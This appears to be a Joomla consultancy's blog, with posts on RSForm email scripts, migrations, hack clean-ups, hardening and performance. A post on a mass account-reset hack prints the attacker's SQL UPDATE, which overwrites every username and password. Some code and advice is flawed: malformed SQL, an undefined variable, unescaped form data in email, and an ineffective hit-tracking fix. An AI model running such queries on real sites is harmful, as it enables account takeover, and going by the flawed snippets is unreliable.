If you’re having some hard time in making your Joomla website W3C compliant, then all you need to do is to contact us and we’ll handle this issue for you. We are professional and proficient in Joomla, we are fast, and we won’t charge you much.

How to Easily Create Notification Emails for Form Submissions in RSForm

We love RSForm – it is by far the best form builder out there. We think that Joomla is blessed to have RSForm in the JED. One of the nicest things about RSForm is that it’s very flexible: there’s always a solution to whatever you want done, regardless of the complexity. OK – enough flirting!

Earlier today (well technically yesterday, since its 1:45 AM here in snowy Montreal) we had a client with quite a few RSForms on her website, and each of these RSForms had literally over a hundred field. The client told us that when someone fills in one of her forms, the notification email that she receives has this single line:

You have a new submission.

Not very helpful! As you have probably guessed, our client wanted to see, in that notification email, all the fields that her clients fill in. This means that we have to manually create the submission email for each form, a task that can take us many hours (remember, our client had many forms, and each one of these forms had over a hundred field). This is not very practical for 3 reasons: 1) we really, really don’t like doing manual work and we avoid it as much as possible, 2) our client’s budget didn’t accommodate the number of hours we estimated if we wanted to manually create these emails, and 3) our client will need to call us to modify these emails every time she adds/edits/removes a field. All in all, doing this task manually seemed to be a far-from-ideal solution. We needed to do it differently!

Thankfully, RSForm allows you to run a script when the form is being processed (e.g. on form submission, just before the form’s information is added to the database). This means that all we need to do is to get all the information that the user filled in from the POST array and email it to the administrator. Let’s explain how we did it:

  • We logged in to the backend of the Joomla website of our client.
  • We went to Components -> RSForm! Pro -> Manage Forms.

  • We clicked on the name of the form.

  • We clicked on the Properties tab on the right (just next to the Components tab, which is selected by default).

  • We clicked on PHP Scripts under Scripts on the left.

  • We added the following code in the Script called on form process textarea:

    $myform = $_POST['form'];
    $body = "";
    $k = 0;
    foreach ($myform as $key=>$value){
    	$k++;
    	if ((!empty($value)) && ($k < count($myform) - 2)){
    		$body .= $key.":".$value."<br />";
    	}
    }
    $mailer = JFactory::getMailer();
    $config = JFactory::getConfig();
    $sender = array('[our-client-email]','[our-client-email]');
    $mailer->setSender($sender);
    $mailer->addRecipient('[our-client-email]');
    $mailer->setSubject('[form-title]');
    $mailer->setBody($body);
    $mailer->isHTML(true);
    $mailer->setBody($body);
    $mailer->Send();

    The above code will send an email with all the filled-in fields to our client.

  • We clicked on the Save button on the top.

  • We then clicked on Admin Emails on the left, and then we removed our client’s email from the To field (this will ensure that our client will no longer get the meaningless You have a new submission email).

  • We clicked on Save on the top right, and then we tested the form, and our little script worked like a charm. Our client was happy, and we were happy!

Good work! But, is there a way to format the notification email?

Of course you can format that email. All you need to do is to add your own formatting to the code above.

What if the form changes?

If the form changes, then the email will change as well, because it’s dynamic. It actually checks which fields the user filled in and only sends the value of those fields to the site owner. This means that any form modification will not affect the integrity of the script.

What if this script doesn’t work for me?

If you have tried our script and it didn’t work for you, then please give us a call or shoot us an email, and we can implement this solution for you in no time and for a very affordable cost!

How to Disable Hit Tracking on Joomla

Many Joomla administrators know how to hide hit tracking on a Joomla article – they can do this simply by clicking on the article title in the Article Manager, and then clicking on Options button on the top right, and then setting the value of Show Hits to Hide. Setting this value will automatically hide the Number of Hits on any article’s page. But, it will not disable hit tracking, in other words, every time you load an article, the hits value of that article will be incremented by 1 (although it will not be displayed).

But what if, for one reason or another, you might want to disable hit tracking altogether (by the way, hit tracking can cause some load issues if your Joomla website has a lot of traffic and tens of thousands of articles)? Well, this can easily be done the following way:

  • Download the file article.php located under the components/com_content/models folder.
  • Open the aforementioned file, and add the following line to the beginning of the hit function:

    return true;

  • Upload the file article.php back to your Joomla website.

  • That’s it!

After doing the above, hit tracking will be completely disabled!

But, aren’t we changing a core file?

Yes, we are, and it is something that is not ideal, but this is the fastest solution. A better way to disable hit tracking is to open up the template file for the article page (e.g. templates/[your-template-name]/html/com_content/article/default.php) and add the following line:

<input type="hidden" value="0">

This solution will ensure that you’re not changing any core file, and, in our opinion, it’s a much better solution.

If you need help in completely disabling hit tracking on your Joomla website, then why not contact us? We can do it for you in no time and for a very reasonable fee!

How to Redirect a User to a Specific Page on Frontend Login

On some occasions, you may wish to redirect specific users to specific pages when they login to your website. For example, if a user hasn’t logged in for a long time, then, you may want to redirect him to a specific page where he can see the latest additions to your website. Another example would be when a user logs in for the first time, in this case you may want to redirect him to a guide on how to use your website. Yet another example we can think of is to redirect people belonging to specific groups to specific pages.

Unfortunately, Joomla, by default, cannot do this, but, it can be easily adapted to do so. How? We hear you ask. Well, all you need to do is the following:

  • Download and install Jumi, the Joomla extension which allows you to add PHP code anywhere on your website.
  • Create a Jumi that will read the user’s information and redirect to the proper page.

  • Create an article called Main Login (you can name it anything else), and in that article, insert the Jumi created in the step above.

  • Create a menu item called Main Login that will point to the article created in the previous step.

  • In the login module, choose Main Login as the login redirection page and save the module.

  • That’s it!

As you can see from the above, doing this task is extremely easy, all you need is some basic PHP programming skills. You can also use the same technique to redirect specific users to specific pages on logout.

If you need some help developing the above solution, then feel free to contact us. Our rates are extremely affordable, our work is professional, and we are the friendliest programmers in this galaxy!

How to Migrate Frontpage SlideShow from Version 2.0 to Version 3.5

Ask any programmer what kind of work he dreads (and dislikes) most, and he’ll invariably answer you: “It has to be manual data entry”. Since we are programmers, then that answer applies to us as well. But hey, life isn’t always about doing the things that you love, sometimes, you’ll need to do things that you really don’t love, for the greater good. OK, let’s get not too philosiphical here, and let us explain to you what happened yesterday afternoon…

We were migrating a Joomla website for a New York photographer; we thought that we were almost done since the only thing left to do was to migrate his slideshows. Our client was using Frontpage SlideShow (by JoomlaWorks) and he had nearly 3,000 slides spread over something like a hundred categories. We weren’t worried, because we knew that JoomlaWorks products were solid and extremely easy to migrate (K2 is a great example). However, after doing an extensive search, we discovered that the advice that JoomlaWorks gives to its users is to migrate the SlideShow component manually! In other words, a human must create all the categories, one by one, and then create the slides, also one by one, until he reaches retirement age or until the project is done. That’s not good! What’s even worse is that no one has developed a script to automate that!

Now, we discussed this project for a while amongst ourselves: If we want to create the categories and the slides manually, and assuming it takes 1 minute per category and 5 minutes per slide (one needs to download the slide from the old website and re-upload it to the new website), then it’ll take us 100 minutes for the categories and 15,000 minutes for the slides. In other words, it’ll take us 252 hours of pure, uninterrupted work to migrate the slideshow, way over the 40 hours we agreed on with the client to migrate the whole Joomla website! Since our fees were fixed (we can’t charge the client for more than 40 hours) and since we don’t have that much time on our hands (and also since we really, really, don’t like doing manual work) we had to develop a solution to migrate the slideshows automatically. And so we did!

We thought – what if we perform the same actions performed when creating a category and a slide from Joomla’s backend, but in a loop? In other words, what if we modify the models for the category and the slide in order to migrate the data. That idea worked, and the proof is below.

How we migrated Frontpage SlideShow’s categories

In order to migrate the categories, we opened the model file category.php located under the administrator/components/com_fpss/models/ folder. We changed the save() function to the below:

function save()
{
	$sql = "SELECT * FROM jos_fpss_categories";
	$db->setQuery($sql);
	$arrCategories = $db->loadAssocList();
	for ($i = 0; $i < count($arrCategories ); $i++){
		$row = JTable::getInstance('category', 'FPSS');
		
		$data = $this->getState('data');
		$data['title']= $arrCategories [$i]['name'];

		if (!$row->bind($data))
		{
			$this->setError($row->getError());
			return false;
		}
		if (!$row->check())
		{
			$this->setError($row->getError());
			return false;
		}
		if (!$row->id)
		{
			$row->ordering = $row->getNextOrder();
		}
		if (!$row->store())
		{
			$this->setError($row->getError());
			return false;
		}
	}
}

We then uploaded the file and we created a dummy category in FPSS SlideShow, and we clicked on the “Save” button, and that migrated all the categories! Not bad! We immediately reverted back the category.php to what it was when we were done.

How we migrated the Frontpage SlideShow’s slides

We employed the same principle above for migrating slides, but with a twist since the way the images are saved in the 3.5 version differs greatly from that in the 2.0 version. So, we first copied the images folder from the components/com_fpss/ folder from the old website to the same location on the new website (e.g. the components/com_fpss/images on the new website) to ensure that the new website has access to these images.

We then modified the save() function in the slide.php model file (also located under under the administrator/components/com_fpss/models/ folder) to the following:

function save()
{
	$db = $this->getDBO();
	
	$sql = "SELECT * FROM jos_fpss_slides WHERE state=1 ORDER BY catid ASC, ordering ASC";
	$db->setQuery($sql);
	$arrSlides = $db->loadAssocList();
	
	$k = 4;
	for ($i = 0; $i < count($arrSlides); $i++){
		++$k;
		$row = JTable::getInstance('slide', 'FPSS');
		$config = JFactory::getConfig();
		$tzoffset = version_compare(JVERSION, '3.0', 'ge') ? $config->get('offset') : $config->getValue('config.offset');
		$data = $this->getState('data');
		$data['title']= $arrSlides[$i]['name'];
		$data['catid']= $arrSlides[$i]['catid'];

		$filename = $k.'_'.md5('Image'.$k);
		copy('/'.$arrSlides[$i]['path'], '/media/com_fpss/src/'.$filename.'_s.jpg');
		copy('/'.$arrSlides[$i]['path'], '/media/com_fpss/cache/'.$filename.'_m.jpg');
		copy('/'.$arrSlides[$i]['path'], '/media/com_fpss/cache/'.$filename.'_p.jpg');
		copy('/'.$arrSlides[$i]['thumb'], '/media/com_fpss/cache/'.$filename.'_t.jpg');
		
		if (!$row->bind($data))
		{
			$this->setError($row->getError());
			return false;
		}
		if (!$row->check())
		{
			$this->setError($row->getError());
			return false;
		}

		$date = JFactory::getDate($row->publish_up, $tzoffset);
		$row->publish_up = version_compare(JVERSION, '1.6.0', '<') ? $date->toMySQL() : $date->toSql();
		if (trim($row->publish_down) == JText::_('FPSS_NEVER') || trim($row->publish_down) == '')
		{
			$row->publish_down = $db->getNullDate();
		}
		else
		{
			$date = JFactory::getDate($row->publish_down, $tzoffset);
			$row->publish_down = version_compare(JVERSION, '1.6.0', '<') ? $date->toMySQL() : $date->toSql();
		}
		$now = JFactory::getDate('now', $tzoffset);
		$user = JFactory::getUser();
		if ($row->id)
		{
			$row->modified = version_compare(JVERSION, '1.6.0', '<') ? $now->toMySQL() : $now->toSql();
			$row->modified_by = $user->get('id');
		}
		else
		{
			$row->created = version_compare(JVERSION, '1.6.0', '<') ? $now->toMySQL() : $now->toSql();
			$row->created_by = $user->get('id');
			$row->ordering = $row->getNextOrder('catid = '.$row->catid);
			$row->featured_ordering = $row->getNextOrder('featured=1');
			$row->hits = 0;
		}

		if ($row->referenceType == 'custom')
		{
			$row->custom = $data['reference'];
		}

		if (!$row->store())
		{
			$this->setError($row->getError());
			return false;
		}
	}
}

We then created a dummy slide in the backend and saved it. This migrated all the slides, including the images! The issue was solved and we reverted the slide.php model file back to what it was before!

Some assumptions in our guide above:

  • The IDs of the categories are sequential on the old website and they start at number 2.
  • Both the old website and the new website use the same database, but the old Joomla website uses jos_ as the table prefix, while the new website uses a custom table prefix.

  • Your have not added/deleted any slides manually to FPSS on the new website. In short, you only have 4 test slides that came with the installation.

  • You are a good, careful developer or you have access to one.

If the above assumptions do not hold true for your Joomla website, then most certainly our method will not work, and you will need to contact us to migrate the slideshow for you. Please note that our very reasonable fees apply.

Menu Item Type Popup Not Appearing When Adding a New Menu Item in Joomla

One of our clients, for whom we have just migrated a Joomla website for her small business, called us today and told us that she wanted to know how to add a new menu item to the Main Menu to point to a new article she has just created. We emailed her (while still on the phone), the following guide:

  1. Login to the backend of your Joomla website.
  2. Click on Menus -> Main Menu.
  3. Click on the New button on the top right (it’s the orange button with the plus sign).
  4. Click on Select next to Menu Item Type and choose Single Article from the popup window.
  5. Fill in the Menu Title to the left.
  6. Choose an article by clicking on the Select/Change button next to Select Article.
  7. Click on the Save button on the top right.
  8. That’s it!.

We asked her to remain on the phone until she receives the email and then to try to add a new menu item to make sure that the guide works for her. Unfortunately, it didn’t! She told us that in Step 4 in the guide, she can’t see any popup window: the Menu Title field became red once she clicked on the Select button, nothing popped up. We asked her to try again, but she still wasn’t able to see the popup. We tested the website on several computers and on several browsers on our end and, in every instance, we were able to see the popup! It’s really hard to debug a problem that only exists on the client’s end!

In any case, we suggested to her using another browser (which was Firefox, she was first using IE), and she still had the same problem. We then asked her to clear the cache, and that fixed the problem. Aha!

Since she was using both IE and Firefox for her Joomla 1.5 website, and since these browsers were caching some Joomla 1.5 JavaScript libraries that also existed (albeit with different code) in the Joomla 2.5 website, her new Joomla website was using the cached (and incompatible) JavaScript libraries, and as such resulting in this issue. Clearing the cache solved the problem because it forced the browsers to use the most recent version of the JavaScript libraries from our client’s website.

If you have the same issue, where the menu item type popup is not popping up, then try deleting your browser’s cache. This should fix the problem! If it doesn’t, then please contact us. We’re experts in Joomla, our rates are affordable, and we’re confident that we will be able to fix your problem in no time!

The Mass Username/Password Update Hack in Joomla

So far this month, we have had 5 cases where all the users in a Joomla website had their usernames and passwords updated to the same value. In other words, all the usernames in those Joomla websites were set to admin, and all the passwords were set to an identical, md5 value.

This type of hack, of course, creates a huge problem, especially with community based Joomla websites (e.g. where the website has many registered users), since the website, post-hack, will technically have just one user, and most likely that user will not be able to login because his password was changed.

So, how did this happen?

Well, after investigating the 5 websites we have worked on this month so far, we came out with a pattern on how this hack happened:

  • The attacker exploited a loophole in Joomla and uploaded a PHP file to the images folder.
  • The file contained the following SQL statement (in base64 encoded format):

    UPDATE #__users SET username='admin', password='[MD5 value]'

  • The PHP file was executed from the attacker’s machine/server using CURL.

  • The query ran successfully, and the usernames and passwords for all the users were set to the same value.

We think that the attacker intended to just update one row (instead of them all) and the aim was to gain access to Joomla’s backend – but he was so lazy that he didn’t add a condition to the query to make it update just the first row!

What did we do to fix the problem?

The first thing that we did was that we removed the malicious file (the one containing the query), we then secured the website (especially the images folder), and finally we have reverted back to a previous backup of the #__users table. That fixed the problem.

We know, it seems that there’s a new type of hack every day, and that’s why it’s critical to keep your website protected. If you need help doing that, or if you need help cleaning up your hacked Joomla website, then you’re at the right place. Just contact us and we’ll ensure that your website is clean and secure in no time and for a very little cost.

Beware the Hacked 404 Error Page on Your Joomla Website

We are currently having an increasing number of cases where the 404 page – just the 404 page – is hacked. For example, when someone visits a page that doesn’t exist (on the Joomla website), he is either redirected to an obscene website or he just sees some obscene content on the Joomla website (or his browser starts downloading malware).

The problem with this sort of hack is that is very hard to notice, especially on well-built websites with no dead links and on small websites with very few visitors. That hack can lurk there for a very long time without anyone seeing it, and even if someone sees it, most likely he’ll be just a casual visitor who will never report it and who will never visit the website again. This type of hack, in our opinion, is one of the most dangerous out there, simply because it secretly kills the website: the traffic will decrease week after week and nobody will ever know why!

So, how can one discover if his website has a hacked 404 page?

This is simple. All you need to do is to visit any non-existing link on your website and see what you’ll get. If you get the normal 404 page, then your website is not hacked. If you don’t, well, you know what it means!

Now, you should be aware that even if your 404 pages look OK- they might not be clean. It might be that these pages only pretend to look OK for normal, human visitors, but they show their nasty nature to Google (this is called the Google hack), so you will need to check how your 404 pages look from Google’s eyes (you can fetch a page as Google from Google Webmaster Tools).

OK, so how can you fix a hacked 404 page?

Unfortunately – Joomla 404 hacks are quite diverse, and nearly every single case we have seen so far and fixed was unique. But, here are some guidelines to narrow down the location of the problem:

  • Change your template: If, after changing your template, the problem disappears, then the hack is lurking somewhere in your template. If this is the case then it shouldn’t be that hard to fix.
  • Disable JavaScript: If you disable JavaScript on your browser and the problem no longer exists, then the problem is most likely somewhere in one of your global JavaScript files. Fixing the problem, in this case, consists of following the steps below:

    • Backup all your JavaScript files.
    • Delete them, one by one, and reload your page after each deletion. Once the page is clean, then it means you’ve just deleted the culprit.

    • Restore the deleted files and clean up the culprit.

    • This should fix the problem.

  • Disable SEF

    If you disable SEF and your 404 pages become clean, then it is very possible that the hack is somewhere in your .htaccess file. Either download a fresh copy of Joomla (matching your version) and overwrite your current .htaccess file with that of the downloaded copy, or manually clean up your .htaccess file if you have the technical skills to do so.

  • If all else fails…

    As we previously said, Joomla 404 hacks are pretty diverse, so, if none of the above methods worked for you, do not be afraid. You can always contact us and we can definitely help. In just a few hours, we’ll be able to locate the problem and completely clean up your website. We’re always just an email or a phone call away, and we won’t cost you an arm and a leg!

Ultimate Security on a Joomla Website

Our clients (with previously hacked Joomla websites that we fixed) often ask us: “What can one do to have ultimate security on a Joomla website?”

Our short and concise answer would be: “Have a development server and a production server. The development server is the one where you do the updates (and it’s usually behind the DMZ). These updates are then synced back to the read-only production server.”

Let us explain…

The main and only reason why a Joomla website is hacked is that Apache has write permissions on some (or, in many cases, all) files/directories and because MySQL has (usually) full permissions on the Joomla database. But, does your visitor really needs all these permissions?

Generally, most of the Joomla websites out there are content websites – which means that normal visitors do not have to alter the filesystem (e.g. upload new files, modify files, etc…), and typically they will only need to make a modification to just one table in the database (which is the #__session) table. But (and there’s always a but), this doesn’t apply to people working on the website. For example: super administrators logging in to the backend and installing extensions, administrators logging in to the backend and uploading images, creating new content, disabling some categories, etc…

So, because of backend activities, Joomla websites must grant these write/full permissions on the filesystem and the database to anyone, including visitors who don’t need them (for legitimate use). So, what can one do to address this issue?

As stated above, having 2 servers, one for development and one for production will solve the problem. The development server will host a copy of the website which will be used by the staff to make updates (including installing extensions and adding/modifying content), and the production server will host the actual website that will be used by the visitors. Typically, the development server should only be accessed from a VPN and should be behind the DMZ. Permissions on the development server can be as loose as they can be because everything happens behinds the DMZ. Now, every morning, the filesystem and the database changes from the previous day should be pushed from the development server to the production server. Here’s how:

  • The filesystem should be rsync’d (all the files should be overwritten with the exception of the configuration.php file and the index.php file located under the administrator folder (we’ll explain later why). This should take care of syncing the filesystem.
  • Assuming the production’s database name is joomla_database, the development database should be copied to the production server, and it should be called joomla_database_v2.

  • The production database should be renamed to joomla_database_backup_[datetime], and the copied database (from development) should be renamed to joomla_database.

  • This’ll take care of a smooth database synchronization.

Note the filesystem sync and the database sync should be atomic, which means that if the sync fails on one of them, the whole sync process should be reverted. This can be quite complicated.

So, what kind of security should be on the production Joomla website?

Well, first of all, all the files and folders should be owned by root – and when we say all folders, we mean all folders, including the cache, the images, the logs, and the tmp folders. Additionally, the files’ permissions (across the board) should be 444, and the folders’ permissions (also across the board) should be 555. Note that the production website must use DSO and not suPHP. This’ll take care of the filesystem and ensures that no filesystem updates are possible by the website’s visitors.

As for the database, the database user accessing the production database must only be granted select permissions (and not all permissions) on all tables, with the exception of the #__session table, to which that user should also be granted delete, insert, and update permissions. Now, as you probably know, Joomla tracks hits on content items, which means that that database user must also have update permissions on the #__content table. However, we think that a better way to address this issue is to disable hit tracking on Joomla completely (if it’s not needed) – we’ll discuss how to do this in a future post.

One last thing that should be done is to remove the index.php file from the administrator folder. This ensures that no one can access the backend in the production website. (That’s why we excluded that file from being synced above).

As you can see, the security on the production Joomla website is ultimate. This Joomla website simply can’t be hacked. Of course, we are assuming that 1) Your production server is always up-to-date and 2) Your production server doesn’t have any other websites and doesn’t have any unnecessary software installed (in other words, your production server should have a very clean and up-to-date LAMP environment).

We helped very large companies implement the above strategy successfully. If your company runs a Joomla website and needs it to have ironclad security, then please contact us. We are security experts in Joomla, our work is fast and extremely professional, and our fees are very affordable!

Cyber Monday Means No Sales for Some Joomla Websites

Cyber Monday is a huge online event in North America (the US and Canada). For those who don’t know what it is exactly, it is the Monday immediately after Thanksgiving, and during that day, online retailers offer huge discounts on their products. Cyber Monday has gotten extremely popular since its inception back in 2005 and nowadays, even very small online retailers are taking advantage of that event to generate sales.

Now – enough with the introduction – and let us explain what happened yesterday morning (which was, coincidentally, Cyber Monday). A client called us and told us that his VirtueMart shop on his Joomla website is not working properly – he said that the transactions were not going through, and those that were going through, were not being registered properly. We started working on the client’s website immediately. A few minutes later, the phone rang again, it was another customer with the same problem. By 10 AM in the morning we had 7 clients calling in and telling us that their VirtueMart store is not working. They were all getting the following error:

Failure in Processing the Payment (ps_authorize)

When the same error happens em masse, we usually start questioning whether the problem is from the website itself or from elsewhere, and it didn’t take long for us to discover that the problem was indeed elsewhere: all these websites were using the same payment processor, and that payment processor was simply not able to cope with all the load on Cyber Monday (there were just too many simultaneous transactions – too many for that payment processor to handle). We actually called the payment processor to confirm the issue.

Unfortunately, the day that was supposedly going to generate more revenue than a whole week (or maybe a whole month) for most of these businesses, ended up as one of the most disappointing days in the whole year. Not to mention, of course, that some of the transactions were successfully processed by the payment processor but the latter returned fail for each of these transactions, which means that these small businesses also had to deal with clients who got charged for absolutely nothing. Not good!

We hope that Cyber Monday went well for you – if it didn’t because of a technical (and costly) glitch with your payment gateway, then maybe it’s time to consider an alternative. And, if you’re afraid of the technical hurdles when migrating from one payment processor to another, then fear not, we can help you there! Just contact us and we’ll migrate you to another payment processor, of your choice, in no time and for a very reasonable fee!

VirtueMart: The Most Horrible Joomla Extension to Migrate

After migrating hundreds of Joomla websites from 1.5 to 2.5 (and dozens to 3.2), we have learned 2 things:

  1. A migration is never an easy task, and we have explained that, in details, here.
  2. VirtueMart is, by far, the most horrible extension to migrate.

Since we have already discussed the first point before, let’s focus, in this post, on the second point.

So, why is VirtueMart that horrible to migrate?

Well, first of all, there is no tool to migrate VirtueMart 1.x to VirtueMart 2.x – although the developers claim they have a tool, and they claim that it works, we couldn’t, for the life of us, get this tool work to properly for us once. Sometimes it migrates products, but without the images. Sometimes it doesn’t migrate the orders, sometimes it migrates the same products twice, sometimes it doesn’t migrate the categories. That tool that they claim one should use to migrate VirtueMart’s content is erratic, inconsistent, and buggy. What’s even worse that for one to use the buggy migration tool, he should perform a series of lengthy and painful rituals that may or may not work as intended!

Now, even if one decides (and rightly so) not to use the migration tool and create a script to do that, there’s one tiny hurdle: the database structure of VirtueMart 2.x is completely different from that of VirtueMart 1.x, and when we say completely different, we mean completely different. A small example is that the products are no longer stored in one table, but they are spread over multiple tables – and this is the same for many other data types (categories, manufacturers, etc…). This means that any working PHP script to migrate from VirtueMart 1.x to VirtueMart 2.x would be a really, really complicated script.

But, assuming that you were able to successfully migrate the data to VirtueMart 2.x using a custom made script (and the help of some Joomla experts). There is still one last hurdle: Your 3rd party and home-built/custom-built extensions for VirtueMart 1.x will not work with VirtueMart 2.x – now, if you’re lucky, you will find a new version for each 3rd party extension that is compatible with VirtueMart 2.x, but what about the extensions that are no longer supported, and those home built/custom built extensions that cost you dearly a few years ago and that you absolutely require for your online store? So, the next step would be for you to migrate these extensions manually, or to hire a company to do it for you if you don’t have the necessary technical skills.

As you can see, migrating VirtueMart from version 1 to version 2 is a never-ending nightmare. We think that the developers should have taken the migration tool that they have created more seriously – that would have saved quite a lot of money for the many VirtueMart users out there. But hey, that’s what you get when an extension is free from the get-go.

But what about just keeping good old VirtueMart 1.x and upgrading to Joomla 2.5 or (3.x)?

If you’re intimidated by VirtueMart’s migration process (and you should be – unless you’re a programming super-hero), then you might be thinking, “what if I keep my old version of VirtueMart when I migrate to Joomla 2.5?”. Unfortunately, this is not possible – you must use VirtueMart 2.x with Joomla 2.5 and higher; VirtueMart 1.x is not compatible with anything above Joomla 1.5.

So, what should one do?

Well, you have 2 options:

  1. Re-create your store from scratch in VirtueMart 2.x, which is probably your best option if you just have a few products OR
  2. Contact some Joomla experts and have them do all the work for you!

In case you haven’t guessed it already, we are those Joomla experts. Just contact us and we promise to fully migrate your VirtueMart store regardless of its size and the number of 3rd party extensions that you have. We are fast, we are professional, and we won’t cost you much!

The “error_log” File in the Root of Some Joomla Websites – What Is It?

There are some Joomla websites that have a file called error_log in their root directory (e.g. directly under public_html). For some websites, the error_log file is a several hundred megabytes in size and it grows by a few megabytes everyday. So what is this file and is it necessary to have it?

Let’s start with explaining what this file is. The error_log file contains all the errors that happen on your Joomla website. Some of these errors are visible to your users, such as fatal errors, and some aren’t, such as missing an Apache module (quick note: Apache modules are not the same as Joomla modules – they are completely different things). The error_log file contains every error, the time it happened, and the page where that error happened (again, it might be that the error is invisible to the end user, in other words a system error).

So, what’s the point of having this file?

This file is extremely helpful – it contains every error that happened on the Joomla website, where it happened, and when it happened. The purpose of having this file is to help you fix the errors that occur on your Joomla website. It is also very helpful to catch some potential exploits before the real exploit, since malicious attacks generate a lot of errors before they succeed.

But, won’t others be able to read/download that file file by just going to http://yourjoomlawebsite.com/error_log?

Unfortunately they can, but there are several ways to address that, one of them is just to block access to that file in the .htaccess file:

<Files "error_log">
     Order allow,deny
     Deny from all
</Files>

But what if I don’t want to have that file at all?

Disabling error logging to the error_log file is a very simple task, all you need to do is to add the following line to the beginning of your .htaccess file:

php_flag log_errors Off

So what’s the best practice? Is it to have this file or not to have it?

We think that having this file on your production website, but with disabled access to the public, is best practice. It’ll record all the errors that happen on your Joomla website giving you a chance to fix them, ultimately making your website better.

And what if I want to name that file something else?

Easy peasy! All you need to do is to add the following line to your htaccess file:

php_flag error_log /home/[website]/public_html/my_error_log.txt

Note that the above assumes that you are using WHM/cPanel as the backbone of your Joomla website. If you’re using Plesk, then the code would be something like this:

php_flag error_log /var/www/vhosts/[website]/httpdocs/my_error_log.txt

Now, if your error_log file is full of errors, and you need help fixing them, then why not contact us, we’re always here to help, we are fast, we are professional, our rates are affordable, and we are true Joomla experts!

Why Is a Joomla Website Much Slower for Logged-in Users?

While optimizing a large Joomla website this morning (the website had around 100,000 pages), we noticed that the website was considerably slower for logged-in users than for the general public. Most pages, on that particular website, were loading (after our optimization) in 0.2 to 0.3 seconds for visitors, but these same pages were taking nearly 20 seconds each to fully load for logged-in users (including super users). The pages that were mostly affected were Category List views. Hmmm!

In order to unveil the secrets behind the slowness, we printed all the queries that were executed to generate a page for both logged-in users and guests. To our surprise, we saw that there were many additional queries that were being run only for logged in users, and all of these queries had something to do with the #__assets table.

So, what is the #__assets table?

The #__assets table is one of Joomla’s 1.6+ (e.g. all versions above 1.6, including 1.7, 2.5, and 3.x) worst ideas. It is used to keep information about all the installed/added extensions/content items on the Joomla website. This information tells Joomla the following information: who is the parent for each of these extensions/content items and which users have permissions on these extensions/content items.

OK, now what were these queries and what is their purpose?

These queries, as stated above, were mainly querying the #__assets. There were many of them and they were not always the same. Some of them were quite complex and inefficient – that inefficiency is only evident when you have many rows in the #__assets table – which is the case when you have 10,000+ articles on your Joomla website (each article is represented by an entry in the #__assets table). The inefficiency was that each of these complex queries had a LEFT JOIN on the #__assets table itself, so the query was something like:

SELECT b.rules FROM #__assets AS a, b.id, b.rules, b.lft WHERE (a.name = ' value' OR a.parent_id=0) LEFT JOIN #__assets AS b ON b.lft <= a.lft AND b.rgt >= a.rgt ORDER BY b.lft

If you care to know, the above query is used to calculate the permissions that the logged in user has on the displayed content (e.g. maybe the user shouldn’t see that content, or maybe the user should be able to edit that content, etc…). While this functionality is helpful for some websites with complex user permissions, it is useless and represents a huge overhead for large Joomla websites.

So, what did we do to solve the problem?

Unfortunately, we had to modify Joomla’s core to fix the problem. There was no other solution since the problem was actually built-in in Joomla (we never used the word built-in in a negative context before – well, there’s always a first for everything).

Once we did the modification, the site ran very smoothly even with logged-in users.

Is there another solution?

Migrating your Joomla content to K2 can also solve the problem – since K2 is a much better and efficient platform than Joomla’s core content management system (Unlike Joomla’s core, K2 doesn’t use the #__assets table for displaying any of its content).

We understand that Joomla can sometimes be a bit disappointing performance-wise, especially for large websites. We can fix that for you – just contact us and rest assured that your Joomla website will run at a blazing speed once we’re done with it – oh, and we won’t charge you much!

5 Tips to Optimize Your Joomla Template

If there is any non-core section of your Joomla website that is critical to its performance, it must be the template. Your Joomla template is loaded on every single page that is served to your visitors, which means that any performance issue on your template will negatively affect your visitors’ experience on your website. Here are 5 tips that will help you enhance its performance:

  1. Remove module positions that you’re not using: For every module position that you have on your Joomla website, there’s a query (and subqueries) that tries to get all the modules from the database for that particular position. If there are no matching modules, the query will still run anyway. Removing these unnecessary positions will ensure that no queries are run needlessly.
  2. Use a different template for pages with completely different layout: Do not try to swamp your template with if conditions to make it adjust to all layouts. If a layout is substantially different than your main template, then go ahead, create a different template for that layout and assign that new template to all the pages that fall under this new layout.

  3. Try to move the content of static modules that are assigned to all pages to your template: OK, we know, this tip might be considered as “bad practice”, but let us explain: As we stated above, any module inclusion represents a database overhead. If, you have a module that is included on every single page and always has the same content (and, of course, always assigned to the same position), then it’s better to move it to your template, you will save unnecessary hits to the database and your website will be slightly faster (noticeably faster if that module does a lot of calculations). Note that this strategy works very well on large Joomla websites.

  4. Ensure your template has valid HTML: A page with valid HTML not only is lighter on the browser, it is also a healthy sign for search engines. Now a template with valid HTML does not necessarily mean that your website’s HTML is valid (because your content’s HTML might not be valid), but it is a good first step and it is necessary towards having a website that is fully W3C compliant.

  5. Remove comments and unnecessary code from your template: While comments and unnecessary code are not that very expensive when it comes to performance, they do have a cost, and that cost is “incurred” on every page. Removing those comments and unnecessary code has a slight positive performance on the Joomla website and it’s very simple to do!

We hope that you found these 5 tips helpful. If you need help implementing them, then please contact us and we can do the work for you. Our fees are reasonable, our work is ultra-fast and professional, and we are extremely friendly!

A Small Yet Critical Inconsistency in Joomla

Not a day goes by without us noticing this inconsistency in Joomla: it’s confusing, it’s weird, and it’s very dangerous. We know, you have no idea what we’re talking about at the moment. Let us explain…

Login to the backend of your Joomla website, and then go to Site -> Global Configuration, and then click on the System tab. On the right side, under Cache Settings, you will see Cache Time, which is the default time that Joomla will cache modules (and pages, if you’ve enabled the System – Cache plugin) for. Cache Time is set to 15 by default. Now, if you hover on the label Cache Time, you will see the following explanation:

The maximum length of time in minutes for a cache file to be stored before it is refreshed.

You’ll know why we highlighted in minutes in just under a minute (pun intended).

Now, go to Extensions -> Module Manager, and click on any module of type Menu (for example, your Main Menu module), and then click Advanced Options on the right. The last field under Advanced Options is Cache Time, and it is set, by default to, 900. Now, if you hover on Cache Time here, you will see the following popup message:

The time before the module is recached

Hmmm… The time in what? In minutes? In seconds? In days? Since we have a lot of experience in Joomla, we know that it’s in seconds, and that’s why it’s defaulted to 900 (which translates to 15 minutes), but, unfortunately, not everyone has the same Joomla experience that we have, and this might be very confusing and dangerous (if you’re heavily using caching on your website, and you are assuming that everything is in minutes).

We have no idea why was this inconsistency not addressed in Joomla 2.5. We also have no idea why the popup message for the module does not specify the unit of time, if it did, everything would be much clearer (it literally takes 1 minute to fix this in the language file).

This is more or less like a rant, but a positive rant, and we’ll make sure that the Joomla developers know about it, so that they can fix it. Meanwhile, always remember that only the Global Cache is in minutes, everything else is in seconds. Oh, and while we’re on the same subject, if you have a caching problem on your Joomla website, then please contact us and we can fix it for you in as little time and for as little cost as possible!

